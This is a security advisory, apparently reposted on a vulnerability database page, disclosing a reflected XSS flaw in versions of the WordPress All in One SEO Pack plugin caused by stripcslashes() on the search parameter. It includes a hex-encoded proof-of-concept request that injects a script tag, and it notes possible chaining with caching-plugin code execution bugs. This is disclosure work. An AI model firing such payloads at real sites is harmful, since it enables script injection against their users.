Lucene search
K

WordPress Semper Fi Cross Site Scripting

🗓️ 02 Oct 2013 00:00:00Reported by Charlie BriggsType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

WordPress All in One SEO Pack XSS Vulnerabilit

Code
`------------------------------------------------------------------------  
  
Vendor: Semper Fi Web Design (http://semperfiwebdesign.com/)  
  
Software: All in One SEO Pack  
  
Developer: Michael Torbert (http://michaeltorbert.com/)  
  
Product URL: http://wordpress.org/plugins/all-in-one-seo-pack/  
  
Changelog: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/  
  
Vulnerability type: Reflected Cross-Site Scripting (XSS)  
  
Vulnerable versions:  
1.x branch:  
1.3.6.4 - 1.6.15.2  
  
2.x branch:  
2.0 - 2.0.3  
  
Fixed in: 2.0.3.1  
  
Credit: Charlie Briggs / Richard Clifford  
  
------------------------------------------------------------------------  
  
Advisory details:  
  
Semper Fi Web Design's WordPress plugin, All in One SEO Pack  
introduced the use of PHP function stripcslashes() on the search  
string in version 1.3.6.4, this was continually used in each version  
up until the latest (2.0.3.1)  
  
The use of stripcslashes() means that an encoded payload in the search  
parameter, forming a request of:  
  
http://example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e  
  
Would lead to the following output:  
</title><script>alert(document.domain)</script>  
  
This can also be used as an attack vector for the remote code  
execution vulnerabilities in vulnerable versions of the caching  
plugins W3 Total Cache and WP Super Cache.  
  
------------------------------------------------------------------------  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation